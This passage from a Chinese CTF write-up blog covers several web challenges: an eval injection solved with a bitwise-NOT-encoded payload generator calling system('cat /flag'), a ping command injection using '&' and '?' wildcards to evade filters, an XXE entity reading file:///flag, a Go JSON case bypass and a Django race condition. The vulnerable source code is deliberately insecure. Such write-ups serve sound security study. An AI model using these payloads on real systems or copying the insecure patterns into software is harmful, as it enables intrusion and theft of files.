document.getElementById('flagBox').innerText = flag;
})
.catch(err => console.error('获取 flag 出错:', err));
image-20260205095210258
<?php
// 国王并没用直接爆出flag,而是出现了别的东西???
if ($_SERVER['REQUEST_METHOD'] === 'POST') { // 判断请求方式为POST
if (isset($_POST['result']) && $_POST['result'] === 'win') { // POST接收两个参数,result不为空
highlight_file(__FILE__);
if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){ // get接收三个参数并判断不为空,who,are,you
$who = (String)$_GET['who']; // 分别转为String类型并赋值
$are = (String)$_GET['are'];
$you = (String)$_GET['you'];
if(is_numeric($who) && is_numeric($are)){ // 判断是否为数字或者数字字符串,浮点数返回1
if(preg_match('/^\W+$/', $you)){ // 对you匹配非字母、非数字、非下划线
$code = eval("return $who$you$are;"); // 执行php表达式
echo "$who$you$are = ".$code;
}
}
}
} else {
echo "Invalid result.";
}
} else {
echo "No access.";
}
?>

审计代码后发现,参数whoare只能是数字,you只能是数学运算符,所以我们需要利用数学运算进行绕过达到代码执行,这里使用取反来进行命令拼接执行:

<?php
/**
* CTF Payload Generator for eval("return $who$you$are;")
* Requirement: $who, $are must be numeric; $you must be \W+
*/
// --- 配置区域 ---
$command_function = "system"; // 想要调用的函数,如 system, passthru, readfile
$command_args = "cat /flag"; // 函数参数
// --- 构造逻辑 ---
// 1. 对函数名进行取反处理
$encoded_func = "";
for ($i = 0; $i < strlen($command_function); $i++) {
$encoded_func .= "%" . bin2hex(~$command_function[$i]);
}
// 2. 对参数进行取反处理
$encoded_args = "";
for ($i = 0; $i < strlen($command_args); $i++) {
$encoded_args .= "%" . bin2hex(~$command_args[$i]);
}
// 3. 组合 Payload
// 结构: 0 . (~取反函数)(~取反参数) . 0
$who = "0";
$are = "0";
$you = ".(~" . $encoded_func . ")(~" . $encoded_args . ").";
// --- 输出结果 ---
echo "--- Payload Generated ---\n";
echo "POST Data: result=win\n";
echo "GET Params: ?who={$who}&are={$are}&you=" . urlencode($you) . "\n\n";
echo "--- Original Structure ---\n";
echo "eval(\"return {$who}{$you}{$are};\");\n";
echo "Decoded: return 0 . {$command_function}('{$command_args}') . 0;\n";
?>
image-20260205105302691

[阶段1] ez-ping#

域名测试系统中真的只能测试域名吗?我不相信!

使用&连接符可以执行命令,过滤了cat,tac,使用less看到了ping.php:

<?php
header('Content-Type: text/plain; charset=utf-8');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$domain = $_POST['domain'] ?? '';
if (!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)) { // 匹配从开头到结尾是否存在这些字符
http_response_code(400);
echo "无效的域名!";
exit;
}
if (empty($domain)) {
http_response_code(400);
echo "请输入域名!";
exit;
}
try {
$cmd = "ping -c 4 " . $domain;
if (!preg_match('/cat|tac|flag|\*/',$cmd)){
$output = shell_exec($cmd . " 2>&1");
} else {
$output = "命令中包含非法字符!";
}
echo $output ?: "命令执行失败!";
} catch (Exception $e) {
http_response_code(500);
echo "错误: " . $e->getMessage();
}
}
?>

使用?绕过通配符即可

image-20260204152413974

[阶段1] Eazy_Pyrunner#

任何人都可以运行自己的 Python 程序!不过大嗨客就算了,还有运行的程序必须是我喜欢的。

image-20260204153027295

python代码执行:

[阶段2] Go#

我们开发了一个由 Go 语言编写的安全验证系统。防火墙(WAF)发誓它已经拦截了所有的 admin 角色请求。

go语言的json解析缺陷,使用大小写绕过:

image-20260205093939883

[阶段2] Mini Blog#

完全安全的博客系统。

XXE解析漏洞,先提交一篇文章并抓包,基于抓到的xml进行修改:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]><post><title>1</title><content>&xxe;</content></post>
image-20260210230700124

[阶段1] ez_race#

狠狠赚钱

给了附件,审计,找到获取flag逻辑:

def form_valid(self, form):
amount = form.cleaned_data["amount"]
with transaction.atomic():
time.sleep(1.0)
user = models.User.objects.get(pk=self.request.user.pk)
if user.money >= amount:
user.money = F('money') - amount
user.save()
models.WithdrawLog.objects.create(user=user, amount=amount)
user.refresh_from_db()
if user.money < 0:
return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))
return redirect(self.get_success_url())
@login_required
def buy_flag(request):
price = 50
with transaction.atomic():
u = models.User.objects.get(pk=request.user.pk)
if u.money >= price:
u.money = F('money') - price
u.save()
return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))
return HttpResponse("余额不足")
def flag_view(request):
if not request.user.is_authenticated:
return redirect("login")
if request.user.money < 0:
return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))
return HttpResponse("条件未满足")

两种获取方式,一种是当用户的钱小于0时会返回flag,另一种是需要正常购买,用户资金大于50.

漏洞点在:

with transaction.atomic():
time.sleep(1.0)
user = models.User.objects.get(pk=self.request.user.pk)
if user.money >= amount:
user.money = F('money') - amount
user.save()
models.WithdrawLog.objects.create(user=user, amount=amount)

这里在在高并发下会有多个请求同时进入money-amount的逻辑,可以将余额扣成负数,来拿到flag:

[比赛篇 | SHCTF]第三届SHCTFWP
https://blog.ne0xsec.cn/posts/the-third-shctfwp/
作者
序章
发布于
2026-02-03
许可协议
CC BY-NC-SA 4.0

分享文章

生成精美分享图或复制链接,与更多人分享本文。

继续阅读

沿着主题读

基于共同的标签与分类

换条路线

从其他文章中稳定抽取

评论

正在加载评论...

最后更新于 ,距今已过 228

部分内容可能已过时